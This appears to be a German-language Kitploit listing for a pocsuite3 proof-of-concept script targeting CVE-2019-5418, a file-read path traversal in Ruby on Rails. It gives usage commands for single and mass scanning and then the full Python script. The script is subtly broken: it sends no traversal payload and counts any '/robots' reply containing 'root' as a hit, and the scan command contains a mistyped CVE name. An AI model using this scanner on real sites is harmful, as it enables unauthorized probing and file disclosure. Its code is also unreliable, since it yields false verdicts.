Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-5418 — Ruby on Rails ist ein Web-Anwendungs-Framework, ein relativ neues Web-Anwendungs-Framework, das auf der Sprache Ruby aufbaut. Diese Schwachstelle entsteht hauptsächlich dadurch, dass Ruby on Rails die render file mit bestimmten Parametern verwendet, um Ansichten außerhalb der Anwendung zu rendern. Wir können das Anfragepaket für den Zugriff auf einen bestimmten Controller modifizieren, um durch „…/…/…/…/" eine Pfad-Traversal-Attacke durchzuführen, und anschließend durch „{{" den Template-Abfragepfad zu schließen, sodass die angeforderte Datei als externes Template geparst wird. | Kitploit
Tools/GitHubGitHub/kailing0220/cve-2019-5418
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubkailing0220/cve-2019-5418

CVE-2019-5418

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Ruby on Rails ist ein Web-Anwendungs-Framework, ein relativ neues Web-Anwendungs-Framework, das auf der Sprache Ruby aufbaut. Diese Schwachstelle entsteht hauptsächlich dadurch, dass Ruby on Rails die render file mit bestimmten Parametern verwendet, um Ansichten außerhalb der Anwendung zu rendern. Wir können das Anfragepaket für den Zugriff auf einen bestimmten Controller modifizieren, um durch „…/…/…/…/" eine Pfad-Traversal-Attacke durchzuführen, und anschließend durch „{{" den Template-Abfragepfad zu schließen, sodass die angeforderte Datei als externes Template geparst wird.

2vor 3 JahrenNoch nicht geprüft
Teilen

CVE-2019-5418

1. Schwachstellenbeschreibung

Ruby on Rails ist ein Webanwendungs-Framework, ein relativ neues, das auf der Sprache Ruby basiert. Diese Schwachstelle entsteht hauptsächlich dadurch, dass Ruby on Rails mithilfe von render file mit bestimmten Parametern Ansichten außerhalb der Anwendung rendert. Wir können das Anfragepaket beim Zugriff auf einen Controller modifizieren, um durch „…/…/…/…/“ einen Pfad-Traversal zu erreichen, und dann mit „{{“ den Template-Abfragepfad zu schließen, sodass die angeforderte Datei als externes Template geparst wird.

3. Reproduktion der Schwachstelle

Paketabfang mit Burp

image-20221017165912908

Einzelne Schwachstellenverifizierung: pocsuite -r CVE-2019-5418.py -u url

image-20221017165821023

Massen-Scan: pocsuite -r cve-2019-5118 -f taishi.txt

image-20221017170029547

4. Skript-Code

root@kitploit:~
from collections import OrderedDict
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
    get_listener_ip,
    get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
    OptString,
    OptDict,
    OptIP,
    OptPort,
    OptBool,
    OptInteger,
    OptFloat,
    OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD

# 以上就是各种导入模块而已 , 有的用了 , 有的灰色的就是没有使用模块中的内容

class DemoPOC(POCBase):
    vulID = "1571"  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = "1"  # 默认为1
    author = "kailing0220"  # PoC作者的大名
    vulDate = "2014-10-16"  # 漏洞公开的时间,不知道就写今天
    createDate = "2014-10-16"  # 编写 PoC 的日期
    updateDate = "2014-10-16"  # PoC 更新的时间,默认和编写时间一样
    references = ["http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"]  # 漏洞地址来源,0day不用写
    name = "CVE-2019-5418 PoC"  # PoC 名称
    appPowerLink = "http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"  # 漏洞厂商主页地址
    appName = "CVE-2019-5418"  # 漏洞应用名称
    appVersion = "all"  # 漏洞影响版本
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS  # 漏洞类型,类型参考见 漏洞类型规范表
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    desc = """
            Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“…/…/…/…/”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。
        """  # 漏洞简要描述
    pocDesc = """
            poc的用法描述
        """  # POC用法描述
    # 各种变量的定义 , 关于poc的描述

    def _check(self):
        # 漏洞验证代码
        headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        result = []
        # 一个异常处理 , 生怕站点关闭了 , 请求不到 , 代码报错不能运行
        try:
            url = self.url.strip() + "/robots"  # self.url 就是你指定的-u 参数的值
            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
            # 判断是否存在漏洞
            if res.status_code == 200 and 'root' in res.text:
                result.append(url)
        except Exception as e:
            print(e)
        # 跟 try ... except是一对的 , 最终一定会执行里面的代码 , 不管你是否报错
        finally:
            return result

    def _verify(self):
        # 验证模式 , 调用检查代码 ,
        result = {}
        res = self._check()  # res就是返回的结果列表
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # 攻击模式 , 就是在调用验证模式
        return self._verify()

    def parse_verify(self, result):
        # 解析认证 , 输出
        output = Output(self)
        # 根据result的bool值判断是否有漏洞
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


def other_fuc():
    pass


def other_utils_func():
    pass


# 注册 DemoPOC 类
register_poc(DemoPOC)
Tool herunterladen